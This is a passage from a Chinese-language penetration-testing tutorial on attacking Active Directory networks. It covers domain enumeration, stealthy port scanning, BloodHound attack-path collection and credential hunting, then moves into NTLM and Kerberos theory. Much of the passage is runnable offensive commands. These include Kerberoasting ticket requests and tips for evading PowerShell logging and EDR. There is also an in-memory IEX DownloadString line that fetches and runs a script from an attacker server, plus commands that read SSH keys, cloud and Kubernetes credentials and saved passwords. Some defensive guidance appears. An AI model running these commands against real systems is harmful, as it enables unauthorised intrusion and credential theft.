前提:你已经有一个域用户的身份(哪怕是权限最低的那种)。 关键认知:域用户默认就能查询 AD 的绝大部分信息(用户列表、组、机器、GPO、ACL)。 这是 AD 的设计——“域内信息对域用户可见”,也是攻击者最爱的特性。

手动枚举(不用工具,用系统自带命令)

# ===== net 命令系列(最快,无需任何工具)=====

# ① 域信息
net view /domain                          # 列出域
net time /domain                          # ★ 顺便能拿到域控名

# ② 用户
net user /domain                          # 所有域用户
net user <用户名> /domain                  # 某个用户的详情(含组成员、最后登录时间)
net accounts /domain                      # 域密码策略(★ 决定密码喷洒的可行性)

# ③ 组(★ 最重要)
net group /domain                         # 所有域组
net group "Domain Admins" /domain         # ★ 域管理员都有谁
net group "Enterprise Admins" /domain
net group "Schema Admins" /domain
net group "Domain Controllers" /domain    # 域控
net group "Domain Computers" /domain      # 所有域内机器
net group "Administrators" /domain        # 内置管理员组

# ④ 机器与共享
net view                                  # 同网段的网络邻居
net view /domain:<域名>                    # 域内所有机器

# ⑤ 信任关系(多域环境)
nltest /domain_trusts
nltest /trusted_domains

# ⑥ 域控定位
nltest /dclist:<域名>
nltest /dsgetdc:<域名>

PowerShell AD 模块(更强大)

# 检查有没有 AD 模块(RSAT)
Import-Module ActiveDirectory -ErrorAction SilentlyContinue
# ★ 如果没有模块,可以用 ADSI 直接查(见下面的无模块方案)

# ===== 域基础信息 =====
Get-ADDomain                     # 域名、域控、域模式级别
Get-ADForest                     # 林信息、信任关系
Get-ADDomainController -Filter * # 所有域控

# ===== 用户枚举 =====
Get-ADUser -Filter * -Properties * | Select-Object Name, SamAccountName,
    Description, LastLogonDate, PasswordLastSet, Enabled, MemberOf, SID
# ★ Description 字段经常写着"服务账号"、"临时账号",甚至是密码提示

# 找"密码永不过期"的账号(★ 往往是服务账号,可能权限很高且密码很老)
Get-ADUser -Filter {PasswordNeverExpires -eq $true -and Enabled -eq $true} `
    -Properties PasswordNeverExpires, PasswordLastSet |
    Select-Object Name, PasswordLastSet

# 找"不需要 Kerberos 预认证"的账号(★ AS-REP Roasting 的目标)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

# 找"密码很久没改"的账号
Get-ADUser -Filter * -Properties PasswordLastSet |
    Where-Object { $_.PasswordLastSet -lt (Get-Date).AddYears(-2) } |
    Select-Object Name, PasswordLastSet

# 找 SPN(★ Kerberoasting 的目标)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

# ===== 计算机枚举 =====
Get-ADComputer -Filter * -Properties * |
    Select-Object Name, DNSHostName, OperatingSystem, LastLogonDate
# ★ OperatingSystem 能帮你找老系统(Win7 / Server 2008 = 可能有现成漏洞)

# 找老系统(★ 优先目标)
Get-ADComputer -Filter * -Properties OperatingSystem |
    Where-Object { $_.OperatingSystem -match "2003|2008|Windows 7|XP" } |
    Select-Object Name, OperatingSystem

# ===== 组枚举 =====
Get-ADGroup -Filter * | Select-Object Name, GroupCategory, GroupScope
Get-ADGroupMember "Domain Admins" -Recursive   # -Recursive 展开嵌套

# ===== 组策略 GPO =====
Get-GPO -All | Select-Object DisplayName, Id, GpoStatus, ModificationTime
# ★ 找最近被修改的 GPO(可能是攻击者的后门,也可能是我们下手的地方)

# ===== 信任关系 =====
Get-ADTrust -Filter *
Get-ADTrust -Identity <域名> | Select-Object Name, Direction, TrustType

无 AD 模块的方案(★ 实战更常用,因为目标机器一般没装 RSAT)

# ===== 用 ADSI / DirectorySearcher(.NET 自带,无需任何模块)=====

$domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$root = "LDAP://" + $domain.Name

# ① 列出所有用户
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.SearchRoot = New-Object System.DirectoryServices.DirectoryEntry($root)
$searcher.Filter = "(objectCategory=user)"
$searcher.PageSize = 1000
$searcher.PropertiesToLoad.AddRange(@("samaccountname","description","lastlogon","pwdlastset","memberof"))

$results = $searcher.FindAll()
Write-Host "域用户数量: $($results.Count)" -ForegroundColor Yellow
foreach ($r in $results) {
    $p = $r.Properties
    $sam = if ($p.samaccountname) { $p.samaccountname[0] } else { "" }
    $desc = if ($p.description) { $p.description[0] } else { "" }
    Write-Host "  $sam  —  $desc"
}

# ② 列出所有计算机
$searcher.Filter = "(objectCategory=computer)"
$results = $searcher.FindAll()
Write-Host "`n域内计算机数量: $($results.Count)" -ForegroundColor Yellow
foreach ($r in $results) {
    Write-Host "  $($r.Properties.name[0])"
}

# ③ 列出所有组
$searcher.Filter = "(objectCategory=group)"
$results = $searcher.FindAll()
Write-Host "`n域组数量: $($results.Count)" -ForegroundColor Yellow
foreach ($r in $results) {
    Write-Host "  $($r.Properties.name[0])"
}

# ④ 查 Domain Admins 的成员
$da = [ADSI]"LDAP://CN=Domain Admins,CN=Users,DC=corp,DC=local"
$da.Member | ForEach-Object { Write-Host "  DA成员: $_" }

# ⑤ 查带 SPN 的用户(Kerberoasting 目标)
$searcher.Filter = "(&(objectCategory=user)(servicePrincipalName=*))"
$results = $searcher.FindAll()
Write-Host "`n带 SPN 的账号(Kerberoasting 目标):" -ForegroundColor Yellow
foreach ($r in $results) {
    Write-Host "  $($r.Properties.samaccountname[0])"
    Write-Host "      SPN: $($r.Properties.serviceprincipalname -join ', ')"
}

# ⑥ 查不需要预认证的账号(AS-REP Roasting 目标)
#    userAccountControl 的 DONT_REQ_PREAUTH 位 = 0x400000 (4194304)
$searcher.Filter = "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"
$results = $searcher.FindAll()
Write-Host "`n不需要预认证的账号(AS-REP Roasting 目标):" -ForegroundColor Yellow
foreach ($r in $results) {
    Write-Host "  $($r.Properties.samaccountname[0])"
}

# ⑦ 导出全部用户到 CSV(离线分析用)
$searcher.Filter = "(objectCategory=user)"
$results = $searcher.FindAll()
$results | ForEach-Object {
    $p = $_.Properties
    [PSCustomObject]@{
        SAM      = $(if($p.samaccountname){$p.samaccountname[0]})
        Name     = $(if($p.name){$p.name[0]})
        Desc     = $(if($p.description){$p.description[0]})
        MemberOf = $(if($p.memberof){$p.memberof -join ';'})
        LastLogon = $(if($p.lastlogon){
            [DateTime]::FromFileTime($p.lastlogon[0])
        })
    }
} | Export-Csv -NoTypeInformation -Encoding UTF8 "$env:TEMP\ad_users.csv"
Write-Host "`n[+] 已导出: $env:TEMP\ad_users.csv"
# ===== 从 Linux 侧枚举 AD(用 ldapsearch / impacket)=====

# ① 匿名 LDAP 查询(如果允许匿名绑定)
ldapsearch -x -H ldap://<DC_IP> -b "DC=corp,DC=local" \
    -D "" -w "" "(objectClass=user)" sAMAccountName

# ② 用域用户凭据查询
ldapsearch -x -H ldap://<DC_IP> \
    -D "corp\\username" -W \
    -b "DC=corp,DC=local" "(objectCategory=user)"

# ③ impacket 的 GetADUsers(★ 最方便)
python3 GetADUsers.py -all corp.local/username:password -dc-ip <DC_IP>

# ④ 枚举 SPN(Kerberoasting)
python3 GetUserSPNs.py corp.local/username:password -dc-ip <DC_IP> -request
#   -request = 直接请求票据(用于离线破解)

# ⑤ 枚举委派
python3 findDelegation.py corp.local/username:password -dc-ip <DC_IP>

# ⑥ 用 bloodhound-python 采集(Linux 上跑 BloodHound 采集器)
python3 bloodhound-python -u username -p password -d corp.local -ns <DC_IP> -c All

7.2.3 网络探测与存活主机发现

原则:先“静”后“动”。 能不发包就不发包(查 ARP 表、hosts、DNS),发包时先慢后快(避免触发告警)。

① 被动收集(不发包,零风险)

# Linux
arp -a                          # ARP 缓存
cat /etc/hosts
cat /etc/resolv.conf
ip route
cat ~/.ssh/known_hosts
cat ~/.bash_history | grep -oE "([0-9]{1,3}\.){3}[0-9]{1,3}" | sort -u
# ★ 历史命令里的 IP 是最有价值的线索

# Windows
arp -a
ipconfig /displaydns            # DNS 缓存,能看到访问过的所有域名
Get-Content C:\Windows\System32\drivers\etc\hosts
netstat -ano
Get-Content $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

② 主动探测(分层次,从轻到重)

# ===== 第一层:ICMP 存活探测(最轻,但很多机器禁 ping)=====

# Linux:fping 批量
fping -a -g 192.168.1.0/24 2>/dev/null

# 或者写脚本(系统自带 ping,慢但一定能用)
#!/bin/bash
for i in $(seq 1 254); do
    (ping -c 1 -W 1 192.168.1.$i >/dev/null 2>&1 && echo "192.168.1.$i 存活") &
done
wait

# Windows
for /L %i in (1,1,254) do @ping -n 1 -w 100 192.168.1.%i | find "TTL=" && echo 192.168.1.%i UP

# PowerShell(更快,并行)
1..254 | ForEach-Object -Parallel {
    $ip = "192.168.1.$_"
    if (Test-Connection -Count 1 -TimeoutSeconds 1 -Quiet $ip) { $ip }
} -ThrottleLimit 50


# ===== 第二层:TCP 端口探测(★ 比 ICMP 可靠,因为禁 ping 不禁服务)=====

# 常见的高价值端口(记住这些)
#   22    SSH
#   80/443 Web(可能有管理后台、可能有漏洞)
#   135   Windows RPC(★ 存活探测的万能端口,几乎所有 Windows 都开)
#   137-139 NetBIOS
#   445   SMB(★ 横向移动的主要通道)
#   1433  SQL Server(★ 经常有 sa 弱口令)
#   1521  Oracle
#   3306  MySQL
#   3389  RDP(★ 远程桌面)
#   5432  PostgreSQL
#   5900  VNC
#   6379  Redis(★ 经常未授权)
#   7001/9001 Weblogic
#   8080/8443 Tomcat / 管理后台
#   27017 MongoDB(★ 经常未授权)
#   9200  Elasticsearch
#   11211 Memcached

# Linux:nc 探测单端口
nc -zv -w 1 192.168.1.10 445

# 批量(bash)
#!/bin/bash
NET=192.168.1
PORTS="22 80 135 445 1433 3306 3389 6379 8080"
for i in $(seq 1 254); do
    for p in $PORTS; do
        (nc -z -w 1 $NET.$i $p 2>/dev/null && echo "$NET.$i:$p OPEN") &
    done
done
wait

# Windows:PowerShell 的 Test-NetConnection(★ 无需任何工具)
1..254 | ForEach-Object -Parallel {
    $ip = "192.168.1.$_"
    foreach ($port in @(445, 135, 3389, 1433)) {
        $r = Test-NetConnection -ComputerName $ip -Port $port `
             -WarningAction SilentlyContinue -InformationLevel Quiet
        if ($r) { "$ip`:$port OPEN" }
    }
} -ThrottleLimit 30


# ===== 第三层:SMB / NetBIOS 探测(★ 能拿到主机名、域名、OS 版本)=====

# Linux:nbtscan(NetBIOS 扫描)
nbtscan -r 192.168.1.0/24
# 输出:IP   NetBIOS名   用户名   MAC地址
# ★ 主机名往往暗示用途:DC01、FILE-SRV、SQL-PROD、HR-PC

# 用 enum4linux 探测 SMB
enum4linux -a 192.168.1.10
# 输出:用户列表、共享列表、密码策略、OS 版本、域信息

# 用 smbclient 列共享
smbclient -L //192.168.1.10 -N        # -N = 匿名
smbclient -L //192.168.1.10 -U user%pass

# Windows:net view(最快)
for /L %i in (1,1,254) do @net view \\192.168.1.%i 2>nul && echo 192.168.1.%i

# PowerShell:探测 SMB 版本(★ 判断有没有 SMBv1 漏洞)
Get-SmbConnection
Test-NetConnection -ComputerName <IP> -Port 445 |
    Select-Object ComputerName, TcpTestSucceeded

③ 服务指纹识别(知道对面是什么)

# nmap(如果环境允许上传工具)
nmap -sS -sV -O -p- --open -T3 192.168.1.0/24 -oA scan_all
#   -sS  SYN 扫描(半开,比全连接隐蔽)
#   -sV  服务版本探测
#   -O   OS 指纹
#   -p-  全端口(慢,建议先用 --top-ports 1000)
#   -T3  速度中等(T4/T5 太快容易被发现,也容易漏)

# 常用漏洞检测脚本
nmap --script smb-vuln-ms17-010 192.168.1.0/24      # EternalBlue
nmap --script smb-vuln-cve-2020-0796 192.168.1.0/24 # SMBGhost
nmap --script smb-vuln-* 192.168.1.0/24
nmap --script "safe and smb-enum-*" 192.168.1.0/24

# 只做存活探测(最轻)
nmap -sn 192.168.1.0/24

关于扫描的隐蔽性(重要):

高速全端口扫描(-T5)几乎必然触发:
  - IDS/IPS 告警
  - EDR 告警
  - 防火墙的端口扫描检测
  - 甚至把老设备扫挂(打印机、工控设备特别脆弱)

更隐蔽的做法:
  ① 先用被动收集(ARP/hosts/DNS/历史命令)缩小范围
  ② 只扫关键端口,不扫全端口
  ③ 慢速扫描(--scan-delay 1s 或 -T2)
  ④ 分散时间(分几天扫,每次扫一小段)
  ⑤ 用"正常的业务流量"伪装(比如通过已控机器的 RDP 会话里扫)

★ 从防守方角度:
  这就是为什么【网络流量采集 + 基线】很重要——
  扫描行为的特征(短时间大量不同端口的连接尝试)非常明显,
  只要你在看,就能抓到。

7.2.4 BloodHound:域关系的“上帝视角”

一句话定义:BloodHound 是一个把 Active Directory 里所有对象(用户、机器、组、GPO、ACL) 和它们之间的关系画成一张图,然后用图算法找出**“从 A 到域控的最短攻击路径”**的工具。

为什么它这么重要:

一个 5000 人的域,可能有:
  - 5000 个用户
  - 3000 台机器
  - 800 个组(还有嵌套)
  - 上百万条 ACL 关系
  - 几十年的配置遗留

靠人工分析这些关系是不可能的。
BloodHound 能在几分钟内告诉你:
  "从你控制的 zhangsan 到 Domain Admins,最短只要 3 步:
   zhangsan → (GenericWrite 权限) → svc_backup → (属于) → Server Operators
   → (可以登录域控) → 域控 → Domain Admins"

★ 而且它几乎【总能找到路径】。
  这不是工具多厉害,是域里的权限关系本来就是一团乱麻。

① 三个核心概念

【节点(Node)】
  域里的对象:User、Computer、Group、Domain、GPO、OU、Container

【边(Edge / 关系)】
  对象之间的关系,BloodHound 定义了几十种,常见的:

  MemberOf              是某个组的成员
  AdminTo               是某台机器的本地管理员
  HasSession            某个用户在这台机器上有登录会话(★ 极高价值)
  CanRDP                可以 RDP 到这台机器
  CanPSRemote           可以 PowerShell 远程到这台机器
  ExecuteDCOM           可以通过 DCOM 执行命令
  AllowedToDelegate     被配置了委派
  GenericAll            对这个对象有完全控制权
  GenericWrite          可以改这个对象的属性
  WriteDacl             可以改这个对象的 ACL(★ 等于间接有完全控制权)
  WriteOwner            可以改这个对象的属主(然后就有完全控制权)
  ForceChangePassword   可以强制改这个用户的密码(★ 不需要知道原密码)
  AddMember             可以往这个组里加成员
  ReadLAPSPassword      可以读这台机器的 LAPS 密码
  Owns                  是这个对象的属主
  TrustedBy             林/域信任关系
  DCSync                有域复制权限(★ 能拿所有哈希)

【路径(Path)】
  从"你控制的节点"到"目标节点(通常是 Domain Admins)"的一条链路。
  BloodHound 会找出【最短路径】并按步数排序。

② 采集(Collector)

# ===== 方法一:PowerShell 采集器(SharpHound)=====

# ① 在域内机器上执行(用任何域用户身份即可)
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -Domain corp.local -ZipFileName out.zip

# 常用 CollectionMethod:
#   All              全部(数据最大,最容易被检测)
#   Default          默认(常用组合)
#   Session          只收集会话(★ 最有用也最轻)
#   SessionLoops     持续收集会话(循环,噪音大)
#   LoggedOn         当前登录的用户
#   Trusts           域信任
#   ACL              ACL 关系
#   ObjectProps      对象属性
#   Group            组成员
#   LocalAdmin       本地管理员
#   Container        OU 和容器
#   RDP / DCOM / PSRemote   远程访问权限
#   GPOLocalGroup    GPO 下发的本地组

# ★ 隐蔽做法(避免触发告警):
Invoke-BloodHound -CollectionMethod Session,LoggedOn,Group -Stealth
Invoke-BloodHound -CollectionMethod All -ExcludeDomainControllers -NoSaveCache

# ② 绕过 PowerShell 日志(★ 实战技巧)
#    -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile
#    或者用 C# 版 SharpHound.exe(不走 PowerShell,绕过脚本块日志)
SharpHound.exe --CollectionMethod All --Domain corp.local --ZipFileName out.zip
SharpHound.exe -c Session,Loops --Loop --LoopDuration 02:00:00 --LoopInterval 00:05:00

# ③ 内存加载(不落地)
IEX (New-Object Net.WebClient).DownloadString('http://<你的服务器>/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All
# ===== 方法二:Python 采集器(从 Linux 上跑,不需要在目标机器执行)=====
python3 bloodhound-python -u 'username' -p 'password' \
        -d corp.local -ns <DC_IP> -c All --zip

# 用哈希认证(不用明文密码)
python3 bloodhound-python -u 'username' --hashes :<NTLM_Hash> \
        -d corp.local -ns <DC_IP> -c All --zip

# 用 Kerberos 认证
python3 bloodhound-python -u 'user' -p 'pass' -d corp.local \
        -ns <DC_IP> -c All --auth-method kerberos --zip

# 用票据
KRB5CCNAME=ticket.ccache python3 bloodhound-python -k -no-pass \
        -d corp.local -ns <DC_IP> -c All --zip

③ 分析(BloodHound GUI 的关键查询)

安装:Neo4j + BloodHound GUI(或 BloodHound CE 社区版)
导入:把采集到的 zip 拖进去

===== 必做的 10 个内置查询 =====

① Find all Domain Admins
   所有域管

② Find Shortest Paths to Domain Admins          ★ 最常用
   到域管的最短路径

③ Find Principals with DCSync Rights            ★ 高价值
   谁有 DCSync 权限(能拿所有哈希)

④ Find Computers with Unsupported Operating Systems
   老系统(可能有现成漏洞)

⑤ Find Kerberoastable Users                     ★ 高价值
   可以 Kerberoasting 的账号

⑥ Find AS-REP Roastable Users (DontReqPreAuth)
   可以 AS-REP Roasting 的账号

⑦ Find Users with Foreign Domain Group Membership
   跨域组的成员(域信任滥用)

⑧ Find All Paths from Owned Principals           ★ 最实用
   【从你已控制的账号出发的所有路径】
   拿到任何一个账号后,先把它标记为 Owned,然后跑这个

⑨ Find Computers where Domain Users are Local Admin
   域用户是本地管理员的机器(★ 说明权限管理混乱)

⑩ Find Workstations where Domain Admins have Sessions
   域管有会话的工作站(★ dump 内存的目标)

===== 自定义 Cypher 查询(进阶)=====

-- ① 找出所有"域用户是本地管理员"的机器
MATCH (g:Group) WHERE g.name STARTS WITH 'DOMAIN USERS@'
MATCH (c:Computer)-[:AdminTo]->()<-[:MemberOf]-(g)
RETURN c.name

-- ② 找出所有可以强制改密码的关系(不需要知道原密码)
MATCH (n)-[:ForceChangePassword]->(m) RETURN n.name, m.name

-- ③ 找出所有有 WriteDacl 的关系(等于间接完全控制)
MATCH (n)-[:WriteDacl]->(m) RETURN n.name, LABELS(m), m.name

-- ④ 找出域管在哪些机器上有会话(★ 高价值目标)
MATCH (u:User)-[:MemberOf*1..]->(g:Group)
WHERE g.name STARTS WITH 'DOMAIN ADMINS@'
MATCH (c:Computer)-[:HasSession]->(u)
RETURN c.name, u.name

-- ⑤ 找出所有 SPN 账号(Kerberoasting)
MATCH (u:User) WHERE u.hasspn=true RETURN u.name, u.serviceprincipalnames

-- ⑥ 找出到"高价值组"的路径(自定义目标)
MATCH p=shortestPath((n)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
WHERE n.name = '你的起始账号@CORP.LOCAL'
RETURN p

-- ⑦ 找出所有有 AdminTo 关系的用户(是哪些机器的管理员)
MATCH (u:User)-[:AdminTo]->(c:Computer) RETURN u.name, c.name

-- ⑧ 统计每个用户能到达多少台机器(找"超级跳板")
MATCH (u:User)-[:AdminTo]->(c:Computer)
RETURN u.name, COUNT(c) AS machineCount ORDER BY machineCount DESC LIMIT 20

④ 防御:怎么检测和防住 BloodHound

【检测(★ 特征很明显)】

① LDAP 查询量异常
   BloodHound 会在几秒内发起【数千条 LDAP 查询】,
   而且查询的属性非常全面(把所有属性都拉下来)。
   正常应用不会这么干。

   → 检测规则:单个用户在 1 分钟内发起超过 N 次 LDAP 查询
   → 数据源:域控的 "Directory Service" 日志(Event 1644)或网络流量

② PowerShell 脚本块日志
   SharpHound.ps1 的脚本内容会出现在 Event 4104 里
   → 检测关键字:Invoke-BloodHound / SharpHound / CollectionMethod

③ 进程特征
   SharpHound.exe 的执行(名字本身就很明显)
   → EDR 基本都会拦,所以实战用内存加载 + 改名

④ 网络特征
   短时间内与域控的 389/636 端口大量连接 + 大数据量传输

【防御(治本)】

① 【清理权限】——这是唯一治本的办法
   - 用 BloodHound 自己跑一遍(蓝队也用 BloodHound!)
   - 找出"到域管的短路径",逐条断开
   - 清理不该有的本地管理员、不该有的 ACL

② 【分层管理模型】(微软推荐的经典三/四层模型)
   Tier 0:域控、AD、PKI、特权服务器        ← 只能由 Tier 0 管理员管理
   Tier 1:应用服务器、数据库               ← 只能由 Tier 1 管理员管理
   Tier 2:办公机、用户设备                 ← Tier 2 管理员管理

   ★ 铁律:【高层不能登录低层,低层不能管理高层】
     域管(Tier 0)绝对不能登录办公机(Tier 2)
     ——否则办公机被攻陷 = 域管凭据泄露

③ 【限制 LDAP 查询】
   - 开启 LDAP 查询的诊断日志(Event 1644)
   - 设置 LDAP 查询的阈值告警

④ 【Protected Users 组】
   ★ 把特权账号加进这个组(Server 2012 R2+):
     - 强制 Kerberos AES 加密(禁用 RC4)
     - 禁止 NTLM 认证(不能做 PTH)
     - 禁止委派
     - TGT 最长 4 小时
   → 大幅增加攻击成本

⑤ 【定期用 BloodHound 自查】
   ★ 蓝队也应该定期跑 BloodHound,主动发现并修复那些短路径。
     这是"用攻击者的视角做防御"的典型实践。

7.2.5 凭据与文件搜索(“翻文件”往往比技术突破更快)

这一节的真实价值可能被低估了。 很多真实的内网渗透,最后的突破口不是什么高级技术, 而是“在共享目录里找到了一个写着密码的 Excel”。

# ===== Windows:批量搜索凭据文件 =====

# ① 搜索文件名里带关键词的文件
$keywords = @("密码","passwd","password","pwd","账号","account","credential",
              "secret","token","密钥","key","备份","backup","运维","ops",
              "服务器","server","vpn","ssh","rdp","navicat","xshell","securecrt")

$paths = @("C:\Users", "D:\", "C:\inetpub", "C:\ProgramData", "C:\Backup*")
$exts  = @("*.xlsx","*.xls","*.docx","*.doc","*.txt","*.csv","*.xml",
           "*.ini","*.config","*.json","*.yaml","*.yml","*.kdbx",
           "*.rdp","*.rdg","*.pfx","*.ppk","*.kdb")

foreach ($p in $paths) {
    if (Test-Path $p) {
        Get-ChildItem -Path $p -Recurse -Include $exts -Force -EA SilentlyContinue |
            Where-Object {
                $name = $_.Name.ToLower()
                ($keywords | Where-Object { $name -like "*$_*" })
            } |
            Select-Object FullName, Length, LastWriteTime, LastAccessTime |
            Sort-Object LastWriteTime -Descending |
            Format-Table -AutoSize -Wrap
    }
}

# ② 在文件内容里搜索密码(★ 更彻底但更慢)
Get-ChildItem -Path C:\inetpub -Recurse -Include *.config,*.xml,*.properties -EA SilentlyContinue |
    Select-String -Pattern "(?i)(password|pwd|passwd|secret|token|apikey)\s*[=:]\s*\S+" |
    Select-Object Path, LineNumber, Line | Format-List

# ③ 常见工具保存的凭据位置(★ 直接去这些地方拿)
#   Navicat    : HKCU\Software\PremiumSoft\Navicat\Servers\<name>   (注册表,可逆加密)
#   Xshell     : %USERPROFILE%\Documents\NetSarang Computer\<version>\Xshell\Sessions
#   SecureCRT  : %APPDATA%\VanDyke\Config\Sessions
#   FileZilla  : %APPDATA%\FileZilla\recentservers.xml / sitemanager.xml
#   WinSCP     : HKCU\Software\Martin Prikryl\WinSCP 2\Configuration\Security
#   RDP        : %USERPROFILE%\Documents\Default.rdp(保存过密码的话存在 DPAPI)
#   VPN 客户端 : 各家不同,一般在 %APPDATA% 或注册表
#   KeePass    : .kdbx(需要主密码,但如果找到 .kdb 老版本存在漏洞)
#   浏览器     : Chrome 的 Login Data(SQLite + DPAPI)

# ④ 提取 Navicat 密码(★ 实战常用,很多公司用 Navicat 管数据库)
function Get-NavicatPassword {
    param([string]$RegPath = "HKCU:\Software\PremiumSoft\Navicat\Servers")
    # Navicat 11+ 用 AES-128-CBC 加密,密钥是硬编码的(已被公开)
    # Navicat 12+ 换了更强的加密,但也有公开的解法
    Get-ChildItem $RegPath -EA SilentlyContinue | ForEach-Object {
        $name = $_.PSChildName
        $props = Get-ItemProperty $_.PSPath
        Write-Host "[$name]"
        Write-Host "  Host: $($props.Host)"
        Write-Host "  UserName: $($props.UserName)"
        Write-Host "  Pwd(加密): $($props.Pwd)"   # 需要离线解密
    }
}
# 解密工具:navicat-password-decrypt(GitHub 上有多个实现)

# ⑤ 提取 Xshell / SecureCRT 的会话凭据
#    Xshell: .xsh 文件里存了用户名,密码是加密的
#    SecureCRT: ini 文件里有 "Password V2" 字段
#    都有公开的解密工具
# ===== Linux:搜索凭据 =====

# ① 配置文件里的密码
grep -rIl -iE "password\s*=|passwd\s*=|pwd\s*=|secret\s*=|token\s*=" \
    /etc /opt /srv /var/www /home 2>/dev/null | head -40

# ② 常见位置
cat /etc/mysql/debian.cnf            # Debian 的 MySQL 维护账号
cat /var/www/html/wp-config.php      # WordPress 数据库密码
cat /opt/app/application.properties  # Spring Boot 配置
cat ~/.docker/config.json            # Docker 仓库凭据
cat ~/.kube/config                   # ★ K8s 集群凭据(证书 + token)
cat ~/.aws/credentials               # AWS AK/SK
cat ~/.ssh/id_rsa                    # SSH 私钥
cat ~/.git-credentials               # Git 凭据
cat ~/.npmrc / ~/.pypirc             # 包管理仓库凭据
cat /root/.my.cnf                    # MySQL 客户端保存的密码
cat ~/.pgpass                        # PostgreSQL 密码

# ③ 大杀器:LaZagne(多平台密码恢复,支持几十种软件)
python3 lazagne.py all              # 全模块
python3 lazagne.py browsers         # 只取浏览器
python3 lazagne.py windows          # Windows 系统凭据

# ④ 共享目录里的"宝藏"
#    NFS / SMB 挂载点里往往有:
#      - 备份文件(.bak / .tar.gz / 数据库 dump)
#      - 运维脚本(里面写死了密码)
#      - Excel 台账("服务器清单.xlsx" 里通常连密码一起记)
find /mnt /media -type f \( -name "*.xlsx" -o -name "*.bak" -o -name "*.sql" \) 2>/dev/null

7.3 Windows 认证基础:NTLM 与 Kerberos

这一节是整章的理论基石。不懂这两个协议,后面的黄金票据、Kerberoasting 全是天书。 我会用尽可能通俗的方式讲,因为这部分确实抽象。

7.3.1 NTLM 认证(老协议,但仍然无处不在)

一句话定义:NTLM 是微软的“挑战-响应”认证协议——服务器给你一个随机数(挑战),你用密码的哈希加密它,服务器验证对不对。整个过程不传明文密码。

① 生活类比:对暗号

NTLM 的流程就像"对暗号":

  ① 你(客户端)去敲门的说:"我是张三,我要进 file-server"
  ② 门卫(服务器)说:"好,你先回答我一个问题:今天的暗号是 12345,
                      你把这个数字和你的密码混在一起告诉我"
  ③ 你把 12345 用【你密码的哈希】加密一遍,得到 X,递给门卫
  ④ 门卫不知道你的密码,但他有【你密码的哈希】(从域控拿的,或者他自己的账号库)
     他也用同样的算法把 12345 加密一遍,得到 X'
  ⑤ 门卫对比 X 和 X',一样就放行

★ 关键点:
   - 密码【从未在网络上传输】(只传了加密后的结果)
   - 但服务器必须【知道你密码的哈希】才能验证
     (本地登录:服务器自己有;域环境:服务器转发给域控验证)

② 技术流程(工作组 vs 域)

【本地认证(工作组,不联网)】
  服务器自己存着 SAM 数据库(用户的 NTLM Hash)
  自己验证,不需要域控

【域认证(NetNTLM,需要域控)】
  1. 客户端 → 服务器:NTLM_NEGOTIATE("我想认证")
  2. 服务器 → 客户端:NTLM_CHALLENGE("挑战值 = 8字节随机数")
  3. 客户端 → 服务器:NTLM_AUTHENTICATE(响应 = 用 NTLM Hash 加密挑战值)
  4. 服务器 → 域控:把 用户名/挑战/响应 发给域控(NETLOGON 通道)
  5. 域控:用自己的 SAM 里的 NTLM Hash 算一遍,对比
  6. 域控 → 服务器:告诉服务器结果(通过/拒绝)
  7. 服务器 → 客户端:允许/拒绝

  ★ 两种响应格式:
    Net-NTLMv1:用 NTLM Hash 加密,安全性弱(已被破解)
    Net-NTLMv2:用 NTLM Hash + 用户名 + 域名 + 时间戳等混合,更强
                (但仍然可以被"中继"攻击)

③ NTLM 的三大安全问题

【问题一:哈希传递(PTH)】—— 见 7.4.1
  服务器验证用的是"NTLM Hash",不是密码。
  所以:只要我有 Hash,不需要知道密码,就能认证。
  ★ 这是 Windows 认证的【设计缺陷】:Hash 等价于密码。
     (就像门禁卡系统验证的是"卡号",而不是"你是不是这个人",
      所以复制卡就能进)

【问题二:NTLM 中继(NTLM Relay)】
  攻击者夹在中间:
    你 → 攻击者(假装是 file-server)→ 真正的 file-server
  你给攻击者的响应,攻击者【原封不动】转给真正的服务器。
  服务器验证通过 → 攻击者就以你的身份访问了。

  ★ 你的响应对攻击者是"黑盒"(他不知道你的密码),
    但他不需要知道——他只需要【转发】。
    (就像你给快递员的签名,快递员不用知道你叫什么,
      只要把签名纸条递给下一个人就行)

  经典组合:
    ① 诱导用户访问攻击者的 SMB 服务器(钓鱼邮件里的 \\attacker\file)
    ② 用户机器自动发起 NTLM 认证(Windows 默认行为!)
    ③ 攻击者把认证中继到域控的 LDAP → 修改 ACL → 提权
    ★ 这就是 PetitPotam / PrinterBug / DFSCoerce 一类攻击的原理

  防御:
    - 开启 SMB 签名(★ 最有效,签了名就不能被中继)
    - 开启 LDAP 签名 + LDAPS(★ 保护 LDAP)
    - 启用 EPA(Extended Protection for Authentication)
    - 禁用 NTLM,只用 Kerberos(理想,但很多老应用依赖 NTLM)
    - 加进 Protected Users 组(禁止 NTLM)

【问题三:离线暴力破解】
  抓到 Net-NTLMv2 的响应后,可以拿回本地用字典暴力破解。
  密码弱的话几小时就出来。
  (Responder + hashcat 是经典组合)

④ NTLM Hash 是怎么算的(了解即可)

NTLM Hash = MD4(UTF-16LE(密码))

  例:密码 "P@ssw0rd"
      ① 转成 UTF-16LE:50 00 40 00 73 00 73 00 77 00 30 00 72 00 64 00
      ② MD4 哈希      :...

★ 关键认知:
  NTLM Hash 【没有加盐】!
  所以:
    - 相同的密码 = 相同的 Hash
    - 可以预先算好一个巨大的"密码→Hash"对照表(彩虹表)
    - 同一个 Hash 在全世界任何地方都是同一个人

  这就是为什么:
    - 看到 Hash 就能查彩虹表(弱密码秒破)
    - 两台机器用同一个密码,dump 出来的 Hash 一模一样
      (攻击者一眼就能看出"这些机器密码都一样")

7.3.2 Kerberos 认证(域环境的默认协议)

一句话定义:Kerberos 是域环境的认证协议,用“票据(Ticket)“证明身份。你登录一次拿到一张”门票(TGT)“,之后访问任何服务都用这张门票去换”服务票(TGS)“,全程不用传密码。

① 生活类比:游乐园(讲透)

